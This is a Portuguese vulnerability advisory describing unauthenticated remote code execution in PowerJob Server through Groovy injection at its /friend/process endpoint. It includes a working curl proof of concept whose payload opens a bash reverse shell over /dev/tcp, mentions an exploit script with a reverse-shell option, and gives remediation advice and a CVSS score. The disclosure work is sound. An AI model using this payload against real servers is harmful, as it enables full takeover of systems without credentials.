
Exploit de execução remota de código não autenticado para o PowerJob Server via injeção de Groovy no endpoint /friend/process, permitindo execução arbitrária de comandos e shells reversos.
/friend/process sem Autenticação (Injeção de Groovy)O PowerJob Server (framework distribuído de agendamento de jobs / computação) expõe o endpoint /friend/process na sua porta HTTP 10010 da camada de transporte Worker↔Server sem qualquer autenticação. O endpoint reflete um método público arbitrário de um Spring Bean arbitrário; um atacante que invoque GroovyEvaluator.evaluate pode executar expressões Groovy arbitrárias, alcançando execução remota de código sem autenticação. O docker-compose padrão publica esta porta em 0.0.0.0, portanto um servidor pode ser totalmente comprometido sem nenhuma credencial.
docker-compose.yml:29-33,47-48 publica 10010 (transporte HTTP), 10086 (AKKA), 10077 (MU) no host 0.0.0.0| Item | Valor |
|---|---|
| Endpoint de disparo | POST http://<servidor>:10010/friend/process |
| Registro | FriendActor.java @Actor(path = "friend") + @Handler(path = "process") (registrado para os três protocolos: HTTP/MU/AKKA) |
| Execução reflexiva | RemoteRequestProcessor.processRemoteRequest() |
| Sink perigoso | GroovyEvaluator.evaluate() → ScriptEngine.eval() |
| Autenticação ausente | HttpVertxCSInitializer (HTTP) / MuServerHandler (MU) registram rotas sem qualquer verificação de token/assinatura |
Arquivos de código-fonte principais (relativos à raiz do repositório):
powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (registra as rotas da porta 10010, sem autenticação)powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28RemoteRequestProcessor.processRemoteRequest confia totalmente nos campos className, methodName, parameterTypes e args do corpo da requisição — ele usa Class.forName + SpringUtils.getBean para obter qualquer Spring Bean e então invoca qualquer um dos seus métodos públicos via Spring ReflectionUtils.GroovyEvaluator é um bean @Component cujo evaluate(String, Object) chama o motor de scripts Groovy (ScriptEngineManager) para eval() diretamente a expressão do atacante.A combinação dos três equivale a RCE sem autenticação.
RemoteProcessReq que tem como alvo GroovyEvaluator.evaluate com uma expressão Groovy arbitrária (ex.: 'id'.execute().text).AskResponse.data (JSON base64).Ambiente: JDK 17, powerjob-server-starter-5.1.2.jar compilado a partir do código-fonte (perfil daily), servidor escutando em 192.168.49.128:10010. Reverificado no JDK 21 (o payload em formato shell abaixo funciona em ambos; veja a nota sobre File.write abaixo).
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
"className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
"methodName": "evaluate",
"parameterTypes": ["java.lang.String","java.lang.Object"],
"args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'
Resposta real: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. A decodificação base64 do campo data produz a saída do comando executado na JVM do servidor:

Alternativamente, você pode reproduzir usando o script:
python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878
/friend/process faz parte da comunicação interna Server↔Worker; ele deveria rejeitar requisições sem autenticação, ou o método não deveria ser remotamente invocável de forma alguma.RemoteRequestProcessor para uma lista de permissões: restringir className/methodName a handlers seguros definidos pelo framework e proibir a invocação reflexiva de beans arbitrários.GroovyEvaluator (se precisar permanecer, adicionar autenticação e um sandbox)./friend/process (S4S_HANDLER_PROCESS) por padrão ou restringi-lo apenas a fontes internas.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Crítico
mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package/friend/process é acionável sem banco de dados)java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...